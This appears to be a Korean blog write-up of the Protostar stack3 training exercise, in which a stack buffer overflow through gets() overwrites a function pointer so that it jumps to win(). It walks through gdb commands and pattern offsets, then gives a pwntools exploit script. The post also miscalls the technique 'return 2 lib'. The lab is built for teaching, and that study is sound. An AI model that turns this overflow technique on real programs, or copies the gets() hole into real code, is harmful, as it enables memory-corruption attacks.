Protostar stack - 3 pwn 툴 사용해서 공격

시스템 해킹|2024. 5. 16. 02:25

 

##### Source code
```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}
```
Use BOF to change the value of the function pointer fp, make it point to the address of function win().

##### Solution
```
$ gdb stack3
......
(gdb) print win
$1 = {void (void)} 0x8048424 <win>
......
(gdb) quit
$ python -c "print 'A'*64+'\x24\x84\x04\x08'" | ./stack3
```

##### Reference

 

stack 3번의 소스코드이다.

 

 

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

 

fb는 변수인데

fp = 0;으로 일단채웠다.

버퍼에는 64

 

버퍼가 64이상이되면

fp가 변조가되는 것을 할수있다.

fp가 변조가가능한상태

 

 


if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}

 

 

fp가 0이아니라면  실행이가능한 상태.

 

fp를 덮을 수 있으면서

 

void win()
{
printf("code flow successfully changed\n");
}

 

code flow를 성공적으로 바꿧다라는 메세지가 나오게만드는 것이 목적이다.

win으로 오게 바꾸는 문제인것으로 판단한다.

하지만 코드상 어디에도 win이 호출되는 곳이 없기떄문에

win의 위치가 어디인지 파악해야하는 문제이다

fp를 바꾼다음에 바꾼내용을 win이 실행하도록 바꾼다.

 

이것을 전문용어로 return 2 lib 라고 부른다

 

스택에 공격코드를 넣어두는데 스택으로 넣어 두지말고  win함수마만실행하면 되므로 스택을 실행할 필요는 없다.

 

 

Fp()에 win주소를 알아내서 넣어주면 간단하게풀리는 문제이다

 

 

 

 

 

 

sudo gcc -z execstack -no-pie -w -o stack3 stack3.c

해당 코드를 stack3.c로 만든 뒤 컴파일 한다sudo gcc -z execstack -no-pie -w -o stack3 stack3.c

 

 

 

 

./stack3

stack3 을 실행하여  확인했을 때

 

1. 데이터가 64이하면 반응이없으나

 

 

if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}

 

2. 데이터가 64이상이도록 값을 넣게되면 이부분이 실행된다는 것을 알 수 있었다. 에러 발생

 

0x616b706f 오류가 발생

 

 

 

 

gdb ./stack3

disas win

 

disas win을 하게될 경우 0x0000000000401146 win의 시작주소 위치를 알 수 있었다.

win_addr = 0x0000000000401146

 

이제 위치를 알아야하므로 스택을 얼마나 덮어씌워야하는지

패턴 크리에이트와 오프셋을통해서 구해야한다.

 

 

 

 

disas main

컴페어 하는 구간에 브레이크 포인트를 겁니다.

 

 


b *main +40

브레이크포인트

 

pattern create 100

패턴생성

 

 

run

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 을 실행한다.

 

 

이렇게 나왔으며 브레이크 포인트가 잘 걸렸다.

 

 

 

x/10gx $rbp

 

x/10gx $rbp-0x8

rbp 위치를 확인하며 8바이트가 빠진 곳의 위치를 구한다.

 

x/10gx는 8byte 단위로 10개의 메모리 확인

참고로 rbp의 값을 구하는 이유는 rbp는 스택이 여기서부터 시작할 것이라는 베이스 포인터, 여기서부터 스택이 시작한다는 의미이기때문에 여기서는 중요한 상황이다

 

 

 



rbp-0x8  = 0x4134414165414149

 

0x4134414165414149 위치를 기억하며 다음은 패턴오프셋 값을 구한다.

 

 

pattern offset 0x4134414165414149

패턴 오프셋의 값이 72번째에 위치한다는 것을 알 수 있었다.

 

 

 

종합된 정보를 확인했을떄  72바이트 뒤에 win함수의 시작주소를 전달하면 된다

 

rbp-0x8 시작 주소뒤에 win함수의 시작주소를 넣게되면 우리가원하는 답을 얻을 수 있기떄문에 우리는 이것을 얻으려고 한다.

 

win_addr = 0x0000000000401146

 

'A'*72 + win_addr

 

하지만 win_addr의 주소를 넣으려면 쉽지않고 파이썬에서도 동작을 하지않는다

 

python -c " print 'a'*100 "해도 값이 실행되지않는다

 

이러한 경우에는 pwntool을 사용한다

 

 

 

 

 

 

 

 

 

 vi stack3_exploit.py

 

 

from pwn import *

p = process('./stack3')
win_addr = p64(0x0000000000401146)
# p64로 묶어주면 64비트짜리 포인터로 동작을 한다 8바이트짜리임.
payload = b'A'*72 + win_addr
# 문자열 앞에 b를 붙여 바이트코드임을 명시

p.sendline(payload)
# 시작하자마자 페이로드를 보낸다
print (p.recvrepeat(1))
# 보낸직후에 리시브리핏을통해 1초동안 데이터를 받는다.

 

해당 코드를 작성한 뒤에 익스플로잇 코드를 사용하다.

 

 

 

python3 stack3_exploit.py

ncode flow successfully changed 내용이 출력되어 익스플로잇 코드가 정상작동되었고 문제를 해결하였다

댓글()